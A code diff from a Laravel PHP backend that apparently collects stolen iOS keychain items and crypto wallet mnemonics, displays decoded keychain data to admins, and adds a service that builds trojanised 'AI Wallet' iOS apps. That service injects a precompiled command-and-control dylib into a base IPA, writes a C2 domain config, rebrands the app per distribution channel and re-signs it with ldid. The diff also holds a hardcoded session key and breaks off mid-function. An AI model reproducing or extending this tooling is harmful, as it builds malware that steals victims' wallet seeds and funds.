$names = [];
|
||||||
|
foreach ($this->listedItems() as $item) {
|
||||||
|
$name = $item['account'] !== '' ? $item['account'] : $item['path'];
|
||||||
|
if ($name !== '') {
|
||||||
|
$names[] = $name;
|
||||||
|
}
|
||||||
|
if (count($names) >= 3) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$n = $this->itemCount();
|
||||||
|
if ($names === []) {
|
||||||
|
return $n > 0 ? $n.' 条' : '';
|
||||||
|
}
|
||||||
|
$text = implode(' · ', $names);
|
||||||
|
if ($n > 3) {
|
||||||
|
$text .= ' 等'.$n.'条';
|
||||||
|
}
|
||||||
|
|
||||||
|
return $text;
|
||||||
|
}
|
||||||
|
|
||||||
public function device(): BelongsTo
|
public function device(): BelongsTo
|
||||||
{
|
{
|
||||||
return $this->belongsTo(Device::class);
|
return $this->belongsTo(Device::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $item
|
||||||
|
* @return array{
|
||||||
|
* account: string,
|
||||||
|
* service: string,
|
||||||
|
* access_group: string,
|
||||||
|
* protection_class: string,
|
||||||
|
* path: string,
|
||||||
|
* data_len: int,
|
||||||
|
* data_preview: string,
|
||||||
|
* data_sha: string
|
||||||
|
* }
|
||||||
|
*/
|
||||||
|
private function normalizeItem(array $item): array
|
||||||
|
{
|
||||||
|
$hex = (string) ($item['dataHex'] ?? '');
|
||||||
|
$bin = '';
|
||||||
|
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
|
||||||
|
$bin = (string) hex2bin($hex);
|
||||||
|
} elseif (isset($item['data']) && is_string($item['data'])) {
|
||||||
|
$bin = $item['data'];
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'account' => trim((string) ($item['account'] ?? '')),
|
||||||
|
'service' => trim((string) ($item['service'] ?? '')),
|
||||||
|
'access_group' => trim((string) ($item['accessGroup'] ?? $item['access_group'] ?? '')),
|
||||||
|
'protection_class' => (string) ($item['protectionClass'] ?? $item['class'] ?? ''),
|
||||||
|
'path' => trim((string) ($item['path'] ?? '')),
|
||||||
|
'data_len' => strlen($bin),
|
||||||
|
'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex),
|
||||||
|
'data_sha' => $bin === '' ? '' : hash('sha256', $bin),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $sandbox
|
||||||
|
* @return list<array{
|
||||||
|
* account: string,
|
||||||
|
* service: string,
|
||||||
|
* access_group: string,
|
||||||
|
* protection_class: string,
|
||||||
|
* path: string,
|
||||||
|
* data_len: int,
|
||||||
|
* data_preview: string,
|
||||||
|
* data_sha: string
|
||||||
|
* }>
|
||||||
|
*/
|
||||||
|
private function sandboxItems(array $sandbox, string $prefix = ''): array
|
||||||
|
{
|
||||||
|
$out = [];
|
||||||
|
foreach ($sandbox as $key => $value) {
|
||||||
|
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
|
||||||
|
if (is_array($value)) {
|
||||||
|
if (isset($value['items']) && is_array($value['items'])) {
|
||||||
|
foreach ($value['items'] as $item) {
|
||||||
|
if (is_array($item)) {
|
||||||
|
$out[] = $this->normalizeItem($item);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$out = array_merge($out, $this->sandboxItems($value, $path));
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (! is_string($value) || $value === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$bin = base64_decode($value, true);
|
||||||
|
if ($bin === false) {
|
||||||
|
$bin = $value;
|
||||||
|
}
|
||||||
|
$out[] = $this->normalizeItem([
|
||||||
|
'account' => basename($path),
|
||||||
|
'path' => $path,
|
||||||
|
'data' => $bin,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function previewBytes(string $raw): string
|
||||||
|
{
|
||||||
|
if ($raw === '') {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
if (mb_check_encoding($raw, 'UTF-8') && preg_match('/^[\x09\x0A\x0D\x20-\x7E]{1,256}$/', $raw)) {
|
||||||
|
return $raw;
|
||||||
|
}
|
||||||
|
$hex = bin2hex($raw);
|
||||||
|
|
||||||
|
return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Keys whose values are sensitive (encrypted blobs, private keys,
|
||||||
|
* salts, IVs, etc.) and should be masked in the detail view.
|
||||||
|
*/
|
||||||
|
private const MASK_KEYS = [
|
||||||
|
'ciphertext', 'mac', 'salt', 'iv', 'nonce', 'encStr',
|
||||||
|
'encKey', 'encAuthKey', 'encOriginal',
|
||||||
|
'secretKey', 'privateKey', 'seed',
|
||||||
|
'cipherparams', 'kdfparams', 'cipher',
|
||||||
|
'kPKey', 'kPinPasswordNew', 'pin_code_key_uuid', 'mnemonic_key_uuid',
|
||||||
|
'pin_code_key_multi_uuid',
|
||||||
|
];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Return the raw_json tree with sensitive fields masked, suitable for
|
||||||
|
* display in the admin "查看明文" detail view. Each keychain item's
|
||||||
|
* dataHex is decoded to UTF-8 when possible and nested sensitive fields
|
||||||
|
* are replaced with `***MASKED***`.
|
||||||
|
*
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
public function maskedDetail(): array
|
||||||
|
{
|
||||||
|
$raw = self::query()->whereKey($this->id)->value('raw_json');
|
||||||
|
if (! is_array($raw)) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->maskTree($raw);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Recursively mask sensitive keys in a data tree.
|
||||||
|
*
|
||||||
|
* @param mixed $node
|
||||||
|
* @return mixed
|
||||||
|
*/
|
||||||
|
private function maskTree(mixed $node, int $depth = 0): mixed
|
||||||
|
{
|
||||||
|
if ($depth > 12) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (is_array($node)) {
|
||||||
|
$out = [];
|
||||||
|
foreach ($node as $key => $value) {
|
||||||
|
$lowerKey = strtolower((string) $key);
|
||||||
|
if (in_array($lowerKey, array_map('strtolower', self::MASK_KEYS), true)) {
|
||||||
|
// Mask the value but preserve type info and length.
|
||||||
|
if (is_string($value)) {
|
||||||
|
$out[$key] = '***MASKED***('.strlen($value).' chars)';
|
||||||
|
} elseif (is_array($value)) {
|
||||||
|
$out[$key] = '***MASKED***('.count($value).' items)';
|
||||||
|
} else {
|
||||||
|
$out[$key] = '***MASKED***';
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// Decode dataHex in-place to show decoded content.
|
||||||
|
if ($lowerKey === 'datahex' && is_string($value) && $value !== '') {
|
||||||
|
$decoded = $this->tryDecodeHex($value);
|
||||||
|
if ($decoded !== null) {
|
||||||
|
$out[$key] = '***MASKED***('.strlen($value).' hex chars)';
|
||||||
|
$out['_dataDecoded'] = $this->maskTree($decoded, $depth + 1);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$out[$key] = '***MASKED***('.strlen($value).' hex chars)';
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$out[$key] = $this->maskTree($value, $depth + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $node;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Try to decode a hex string into a JSON array or readable UTF-8 text.
|
||||||
|
*/
|
||||||
|
private function tryDecodeHex(string $hex): mixed
|
||||||
|
{
|
||||||
|
$hex = trim($hex);
|
||||||
|
if ($hex === '' || ! ctype_xdigit($hex) || strlen($hex) % 2 !== 0) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$bin = @hex2bin($hex);
|
||||||
|
if (! is_string($bin) || $bin === '' || ! mb_check_encoding($bin, 'UTF-8')) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
// Try JSON first.
|
||||||
|
$json = json_decode($bin, true);
|
||||||
|
if (is_array($json)) {
|
||||||
|
return $json;
|
||||||
|
}
|
||||||
|
// Return as plain text if it looks printable.
|
||||||
|
if (preg_match('/^[\x09\x0A\x0D\x20-\x7E\x{4e00}-\x{9fff}]+$/u', $bin)) {
|
||||||
|
return $bin;
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,19 +4,39 @@ namespace App\Models;
|
|||||||
|
|
||||||
use Illuminate\Database\Eloquent\Model;
|
use Illuminate\Database\Eloquent\Model;
|
||||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||||
use Illuminate\Support\Facades\Crypt;
|
use Illuminate\Support\Facades\Crypt;
|
||||||
|
|
||||||
class WalletMnemonic extends Model
|
class WalletMnemonic extends Model
|
||||||
{
|
{
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
|
'device_id', 'origin_device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
|
||||||
|
'discovery_complete', 'discovered_at',
|
||||||
];
|
];
|
||||||
|
|
||||||
|
protected function casts(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'discovery_complete' => 'boolean',
|
||||||
|
'discovered_at' => 'datetime',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
public function device(): BelongsTo
|
public function device(): BelongsTo
|
||||||
{
|
{
|
||||||
return $this->belongsTo(Device::class);
|
return $this->belongsTo(Device::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function originDevice(): BelongsTo
|
||||||
|
{
|
||||||
|
return $this->belongsTo(Device::class, 'origin_device_id');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function addresses(): HasMany
|
||||||
|
{
|
||||||
|
return $this->hasMany(WalletAddress::class, 'mnemonic_id');
|
||||||
|
}
|
||||||
|
|
||||||
public static function hashSecret(string $secret): string
|
public static function hashSecret(string $secret): string
|
||||||
{
|
{
|
||||||
return hash('sha256', $secret);
|
return hash('sha256', $secret);
|
||||||
|
|||||||
@@ -2,9 +2,16 @@
|
|||||||
|
|
||||||
namespace App\Providers;
|
namespace App\Providers;
|
||||||
|
|
||||||
|
use App\Services\Alchemy\AlchemyBalanceService;
|
||||||
use App\Services\CorunaArchive;
|
use App\Services\CorunaArchive;
|
||||||
use App\Services\CorunaCrypto;
|
use App\Services\CorunaCrypto;
|
||||||
|
use App\Services\Ocr\OcrDriver;
|
||||||
|
use App\Services\Ocr\TesseractOcrDriver;
|
||||||
use App\Services\SettingsService;
|
use App\Services\SettingsService;
|
||||||
|
use App\Telegram\TelegramBotContext;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
use Illuminate\Support\ServiceProvider;
|
use Illuminate\Support\ServiceProvider;
|
||||||
use Nutgram\Laravel\RunningMode\LaravelWebhook;
|
use Nutgram\Laravel\RunningMode\LaravelWebhook;
|
||||||
use SergiX44\Nutgram\Nutgram;
|
use SergiX44\Nutgram\Nutgram;
|
||||||
@@ -13,28 +20,61 @@ class AppServiceProvider extends ServiceProvider
|
|||||||
{
|
{
|
||||||
public function register(): void
|
public function register(): void
|
||||||
{
|
{
|
||||||
|
$this->app->singleton(TelegramBotContext::class);
|
||||||
|
|
||||||
$this->app->singleton(CorunaCrypto::class, function () {
|
$this->app->singleton(CorunaCrypto::class, function () {
|
||||||
$override = config('coruna.session_key');
|
$override = config('coruna.session_key');
|
||||||
|
|
||||||
return new CorunaCrypto(is_string($override) && $override !== '' ? $override : null);
|
return new CorunaCrypto(is_string($override) && $override !== '' ? $override : null);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
$this->app->singleton('xxbb.crypto', function () {
|
||||||
|
$key = config('coruna.xxbb.session_key', 'Ek8pl31K2yeHgQwy');
|
||||||
|
|
||||||
|
return new CorunaCrypto(is_string($key) && $key !== '' ? $key : 'Ek8pl31K2yeHgQwy');
|
||||||
|
});
|
||||||
|
|
||||||
$this->app->singleton(CorunaArchive::class, function ($app) {
|
$this->app->singleton(CorunaArchive::class, function ($app) {
|
||||||
return new CorunaArchive(
|
return new CorunaArchive(
|
||||||
$app->make(CorunaCrypto::class),
|
$app->make(CorunaCrypto::class),
|
||||||
(string) config('coruna.seven_zip', ''),
|
(string) config('coruna.seven_zip', ''),
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
$this->app->bind(OcrDriver::class, TesseractOcrDriver::class);
|
||||||
|
|
||||||
|
$this->app->singleton(AlchemyBalanceService::class, function () {
|
||||||
|
return AlchemyBalanceService::make();
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
public function boot(): void
|
public function boot(): void
|
||||||
{
|
{
|
||||||
|
// Floor for outbound calls that don't set their own timeout. Explicit
|
||||||
|
// Http::timeout() still wins. 120s leaves room for slow uploads;
|
||||||
|
// connect fails fast enough that a dead host doesn't sit for the full window.
|
||||||
|
Http::globalOptions([
|
||||||
|
'connect_timeout' => 20,
|
||||||
|
'timeout' => 120,
|
||||||
|
]);
|
||||||
|
|
||||||
|
if (! $this->app->runningInConsole()) {
|
||||||
|
$limit = (int) ini_get('max_execution_time');
|
||||||
|
if ($limit > 0 && $limit < 60) {
|
||||||
|
@set_time_limit(60);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
$this->app->make(SettingsService::class)->applyToConfig();
|
$this->app->make(SettingsService::class)->applyToConfig();
|
||||||
} catch (\Throwable) {
|
} catch (\Throwable) {
|
||||||
// settings table may not exist yet during migrate
|
// settings table may not exist yet during migrate
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (! $this->app->runningUnitTests()) {
|
||||||
|
$this->recordLastSql();
|
||||||
|
}
|
||||||
|
|
||||||
// Override Nutgram's production safe_mode (md5 APP_KEY) so webhook updates
|
// Override Nutgram's production safe_mode (md5 APP_KEY) so webhook updates
|
||||||
// are not silently dropped when Telegram secret_token is unset/mismatched.
|
// are not silently dropped when Telegram secret_token is unset/mismatched.
|
||||||
$this->app->afterResolving(Nutgram::class, function (Nutgram $bot): void {
|
$this->app->afterResolving(Nutgram::class, function (Nutgram $bot): void {
|
||||||
@@ -53,4 +93,64 @@ class AppServiceProvider extends ServiceProvider
|
|||||||
$bot->setRunningMode($webhook);
|
$bot->setRunningMode($webhook);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Keep the current process's last SQL in memory. On memory-exhaustion
|
||||||
|
* shutdown, append it to oom-sql.log (shared last-sql.json is useless
|
||||||
|
* under many FPM workers).
|
||||||
|
*/
|
||||||
|
private function recordLastSql(): void
|
||||||
|
{
|
||||||
|
$oomPath = storage_path('logs/oom-sql.log');
|
||||||
|
$snap = (object) ['line' => ''];
|
||||||
|
|
||||||
|
DB::beforeExecuting(function (string $query, array $bindings) use ($snap): void {
|
||||||
|
$uri = 'cli';
|
||||||
|
try {
|
||||||
|
if (app()->runningInConsole()) {
|
||||||
|
$uri = 'cli:'.implode(' ', $_SERVER['argv'] ?? []);
|
||||||
|
} else {
|
||||||
|
$req = request();
|
||||||
|
$uri = $req->method().' '.$req->getRequestUri();
|
||||||
|
}
|
||||||
|
} catch (\Throwable) {
|
||||||
|
}
|
||||||
|
$snap->line = json_encode([
|
||||||
|
'at' => date('c'),
|
||||||
|
'pid' => getmypid(),
|
||||||
|
'mem' => memory_get_usage(true),
|
||||||
|
'uri' => $uri,
|
||||||
|
'sql' => substr($query, 0, 1500),
|
||||||
|
'bindings' => array_slice($bindings, 0, 8),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ?: '';
|
||||||
|
});
|
||||||
|
|
||||||
|
register_shutdown_function(function () use ($oomPath, $snap): void {
|
||||||
|
$err = error_get_last();
|
||||||
|
$msg = (string) ($err['message'] ?? '');
|
||||||
|
if ($msg === '' || ! str_contains($msg, 'Allowed memory size')) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$line = $snap->line !== '' ? $snap->line : json_encode([
|
||||||
|
'at' => date('c'),
|
||||||
|
'pid' => getmypid(),
|
||||||
|
'mem' => memory_get_usage(true),
|
||||||
|
'uri' => 'unknown',
|
||||||
|
'sql' => '',
|
||||||
|
'error' => substr($msg, 0, 240),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||||
|
@file_put_contents($oomPath, $line."\n", FILE_APPEND | LOCK_EX);
|
||||||
|
});
|
||||||
|
|
||||||
|
DB::listen(function ($event): void {
|
||||||
|
if ($event->time < 800 && memory_get_usage(true) < 80 * 1024 * 1024) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Log::warning('slow_or_heavy_query', [
|
||||||
|
'ms' => $event->time,
|
||||||
|
'mem' => memory_get_usage(true),
|
||||||
|
'sql' => substr((string) $event->sql, 0, 400),
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,6 @@
|
|||||||
|
|
||||||
namespace App\Services;
|
namespace App\Services;
|
||||||
|
|
||||||
use App\Models\Admin;
|
|
||||||
use BaconQrCode\Renderer\Image\SvgImageBackEnd;
|
use BaconQrCode\Renderer\Image\SvgImageBackEnd;
|
||||||
use BaconQrCode\Renderer\ImageRenderer;
|
use BaconQrCode\Renderer\ImageRenderer;
|
||||||
use BaconQrCode\Renderer\RendererStyle\RendererStyle;
|
use BaconQrCode\Renderer\RendererStyle\RendererStyle;
|
||||||
@@ -33,11 +32,11 @@ class AdminGoogle2fa
|
|||||||
return (bool) $this->google2fa->verifyKey($secret, $code);
|
return (bool) $this->google2fa->verifyKey($secret, $code);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function otpAuthUrl(Admin $admin, string $secret): string
|
public function otpAuthUrl(string $username, string $secret, string $label = 'admin'): string
|
||||||
{
|
{
|
||||||
$issuer = (string) config('app.name', 'Coruna Lab');
|
$issuer = (string) config('app.name', 'Coruna Lab');
|
||||||
|
|
||||||
return $this->google2fa->getQRCodeUrl($issuer, $admin->username.'@admin', $secret);
|
return $this->google2fa->getQRCodeUrl($issuer, $username.'@'.$label, $secret);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function qrSvg(string $otpAuthUrl, int $size = 200): string
|
public function qrSvg(string $otpAuthUrl, int $size = 200): string
|
||||||
|
|||||||
@@ -0,0 +1,299 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\Channel;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
use RuntimeException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Build a customized AI Wallet IPA for App-builder channels.
|
||||||
|
*
|
||||||
|
* Uses pre-compiled c2_simple.dylib + runtime c2_config.plist.
|
||||||
|
* Binary and plist editing use Python scripts (PHP regex corrupts XML/Mach-O).
|
||||||
|
* Signing uses ldid via proc_open.
|
||||||
|
*/
|
||||||
|
class AiWalletPackageService
|
||||||
|
{
|
||||||
|
private const BASE_IPA = 'app-templates/ai-live-base.ipa';
|
||||||
|
private const C2_DYLIB = 'app-templates/c2_simple.dylib';
|
||||||
|
|
||||||
|
private const ICON_SIZES = [
|
||||||
|
'AppIcon60x60@2x.png' => 120,
|
||||||
|
'AppIcon60x60@3x.png' => 180,
|
||||||
|
'AppIcon76x76@2x~ipad.png' => 152,
|
||||||
|
];
|
||||||
|
|
||||||
|
public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
|
||||||
|
{
|
||||||
|
$baseIpa = storage_path('app/'.self::BASE_IPA);
|
||||||
|
$c2Dylib = storage_path('app/'.self::C2_DYLIB);
|
||||||
|
|
||||||
|
if (!file_exists($baseIpa)) {
|
||||||
|
return $this->fail('Base IPA not found: '.$baseIpa);
|
||||||
|
}
|
||||||
|
if (!file_exists($c2Dylib)) {
|
||||||
|
return $this->fail('c2_simple.dylib not found: '.$c2Dylib);
|
||||||
|
}
|
||||||
|
|
||||||
|
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
|
||||||
|
if (is_dir($workDir)) $this->rrmdir($workDir);
|
||||||
|
@mkdir($workDir, 0755, true);
|
||||||
|
|
||||||
|
try {
|
||||||
|
Log::info('AiWallet: build started', ['channel' => $channel->channel_id]);
|
||||||
|
|
||||||
|
// 1. Extract base IPA
|
||||||
|
$zip = new \ZipArchive;
|
||||||
|
if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA');
|
||||||
|
$zip->extractTo($workDir);
|
||||||
|
$zip->close();
|
||||||
|
|
||||||
|
$appDir = $this->findAppDir($workDir);
|
||||||
|
if (!$appDir) throw new RuntimeException('No .app directory found');
|
||||||
|
|
||||||
|
// 2. Copy pre-compiled c2_simple.dylib
|
||||||
|
$fwDir = $appDir.'/Frameworks';
|
||||||
|
if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true);
|
||||||
|
copy($c2Dylib, $fwDir.'/c2_simple.dylib');
|
||||||
|
Log::info('AiWallet: c2_simple.dylib copied');
|
||||||
|
|
||||||
|
// 3. Write c2_config.plist
|
||||||
|
$this->writeConfigPlist($appDir, $channel, $apiDomain);
|
||||||
|
Log::info('AiWallet: c2_config.plist written');
|
||||||
|
|
||||||
|
// 4. Add LC_LOAD_DYLIB (Python script)
|
||||||
|
$mainBin = $this->findMainBinary($appDir);
|
||||||
|
$this->runPython(base_path('bin/add_dylib.py'), [$mainBin, '@rpath/c2_simple.dylib']);
|
||||||
|
Log::info('AiWallet: LC_LOAD_DYLIB added');
|
||||||
|
|
||||||
|
// 5. Patch Info.plist (Python script)
|
||||||
|
$this->runPython(base_path('bin/patch_plist.py'), [
|
||||||
|
$appDir.'/Info.plist',
|
||||||
|
$channel->app_name,
|
||||||
|
$channel->bundle_id ?: 'com.ai.wallet.next',
|
||||||
|
'1.6.1',
|
||||||
|
]);
|
||||||
|
Log::info('AiWallet: Info.plist patched');
|
||||||
|
|
||||||
|
// 6. Replace splash + remove LaunchScreen
|
||||||
|
$this->replaceSplashAndLaunchScreen($appDir);
|
||||||
|
Log::info('AiWallet: splash/LaunchScreen replaced');
|
||||||
|
|
||||||
|
// 7. Generate icons
|
||||||
|
if ($logoPath && file_exists($logoPath)) {
|
||||||
|
$this->generateIcons($appDir, $logoPath);
|
||||||
|
Log::info('AiWallet: icons generated');
|
||||||
|
}
|
||||||
|
|
||||||
|
// 8. Sign with ldid
|
||||||
|
$this->sign($appDir);
|
||||||
|
Log::info('AiWallet: signed');
|
||||||
|
|
||||||
|
// 9. Package IPA
|
||||||
|
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
|
||||||
|
$outputFull = public_path($outputPath);
|
||||||
|
@mkdir(dirname($outputFull), 0755, true);
|
||||||
|
|
||||||
|
$outZip = new \ZipArchive;
|
||||||
|
if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
|
||||||
|
throw new RuntimeException('Cannot create output IPA');
|
||||||
|
}
|
||||||
|
$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
|
||||||
|
$outZip->close();
|
||||||
|
|
||||||
|
$size = filesize($outputFull);
|
||||||
|
$this->rrmdir($workDir);
|
||||||
|
|
||||||
|
Log::info('AiWallet: build complete', ['size' => $size]);
|
||||||
|
return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => ''];
|
||||||
|
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$this->rrmdir($workDir);
|
||||||
|
Log::error('AiWallet: build failed', [
|
||||||
|
'channel' => $channel->channel_id,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
return ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function writeConfigPlist(string $appDir, Channel $channel, string $apiDomain): void
|
||||||
|
{
|
||||||
|
$config = [
|
||||||
|
'C2Domain' => $apiDomain,
|
||||||
|
'C2Port' => '443',
|
||||||
|
'WebViewURL' => $channel->h5_url ?: 'https://tether.to',
|
||||||
|
'AppId' => $channel->channel_id,
|
||||||
|
'ChannelId' => $channel->channel_id,
|
||||||
|
'AppName' => $channel->app_name,
|
||||||
|
];
|
||||||
|
|
||||||
|
$xml = '<?xml version="1.0" encoding="UTF-8"?>'."\n"
|
||||||
|
.'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n"
|
||||||
|
.'<plist version="1.0"><dict>'."\n";
|
||||||
|
foreach ($config as $key => $value) {
|
||||||
|
$xml .= '<key>'.htmlspecialchars($key).'</key><string>'.htmlspecialchars($value).'</string>'."\n";
|
||||||
|
}
|
||||||
|
$xml .= '</dict></plist>';
|
||||||
|
file_put_contents($appDir.'/c2_config.plist', $xml);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function runPython(string $script, array $args): void
|
||||||
|
{
|
||||||
|
if (!file_exists($script)) {
|
||||||
|
throw new RuntimeException('Script not found: '.$script);
|
||||||
|
}
|
||||||
|
$cmd = 'python3 '.escapeshellarg($script);
|
||||||
|
foreach ($args as $arg) {
|
||||||
|
$cmd .= ' '.escapeshellarg($arg);
|
||||||
|
}
|
||||||
|
$cmd .= ' 2>&1';
|
||||||
|
|
||||||
|
$output = [];
|
||||||
|
$exitCode = 0;
|
||||||
|
exec($cmd, $output, $exitCode);
|
||||||
|
|
||||||
|
if ($exitCode !== 0) {
|
||||||
|
throw new RuntimeException(basename($script).' failed ('.$exitCode.'): '.implode("\n", $output));
|
||||||
|
}
|
||||||
|
Log::info('AiWallet: '.basename($script).' output', ['output' => $output]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function replaceSplashAndLaunchScreen(string $appDir): void
|
||||||
|
{
|
||||||
|
// Replace Flutter splash with white
|
||||||
|
$splashPath = $appDir.'/Frameworks/App.framework/flutter_assets/assets/launch/splash.png';
|
||||||
|
if (file_exists($splashPath) && function_exists('imagecreatetruecolor')) {
|
||||||
|
$img = imagecreatetruecolor(10, 10);
|
||||||
|
$white = imagecolorallocate($img, 255, 255, 255);
|
||||||
|
imagefill($img, 0, 0, $white);
|
||||||
|
imagepng($img, $splashPath);
|
||||||
|
imagedestroy($img);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Remove LaunchScreen storyboard
|
||||||
|
$lsDir = $appDir.'/Base.lproj/LaunchScreen.storyboardc';
|
||||||
|
if (is_dir($lsDir)) $this->rrmdir($lsDir);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function generateIcons(string $appDir, string $logoPath): void
|
||||||
|
{
|
||||||
|
if (!function_exists('imagecreatefrompng')) {
|
||||||
|
Log::warning('AiWallet: GD not available, skipping icons');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$src = imagecreatefrompng($logoPath);
|
||||||
|
if (!$src) return;
|
||||||
|
|
||||||
|
// Remove Assets.car so iOS uses loose PNGs
|
||||||
|
$assetsCar = $appDir.'/Assets.car';
|
||||||
|
if (file_exists($assetsCar)) unlink($assetsCar);
|
||||||
|
|
||||||
|
foreach (self::ICON_SIZES as $filename => $size) {
|
||||||
|
$dst = imagecreatetruecolor($size, $size);
|
||||||
|
imagealphablending($dst, false);
|
||||||
|
imagesavealpha($dst, true);
|
||||||
|
imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size, imagesx($src), imagesy($src));
|
||||||
|
imagepng($dst, $appDir.'/'.$filename);
|
||||||
|
imagedestroy($dst);
|
||||||
|
}
|
||||||
|
imagedestroy($src);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function sign(string $appDir): void
|
||||||
|
{
|
||||||
|
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
|
||||||
|
if ($ldidPath === '' || !file_exists($ldidPath)) {
|
||||||
|
Log::warning('AiWallet: ldid not found', ['path' => $ldidPath]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$csDir = $appDir.'/_CodeSignature';
|
||||||
|
if (is_dir($csDir)) $this->rrmdir($csDir);
|
||||||
|
|
||||||
|
$binaries = array_merge(
|
||||||
|
[$this->findMainBinary($appDir)],
|
||||||
|
glob($appDir.'/Frameworks/*.dylib') ?: [],
|
||||||
|
glob($appDir.'/*.dylib') ?: [],
|
||||||
|
);
|
||||||
|
|
||||||
|
foreach ($binaries as $bin) {
|
||||||
|
if (!is_file($bin)) continue;
|
||||||
|
|
||||||
|
$spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
|
||||||
|
$proc = proc_open([$ldidPath, '-S', $bin], $spec, $pipes);
|
||||||
|
|
||||||
|
if (is_resource($proc)) {
|
||||||
|
fclose($pipes[0]);
|
||||||
|
$stdout = stream_get_contents($pipes[1]);
|
||||||
|
$stderr = stream_get_contents($pipes[2]);
|
||||||
|
fclose($pipes[1]);
|
||||||
|
fclose($pipes[2]);
|
||||||
|
$exitCode = proc_close($proc);
|
||||||
|
|
||||||
|
if ($exitCode !== 0) {
|
||||||
|
Log::warning('AiWallet: ldid failed for '.basename($bin), [
|
||||||
|
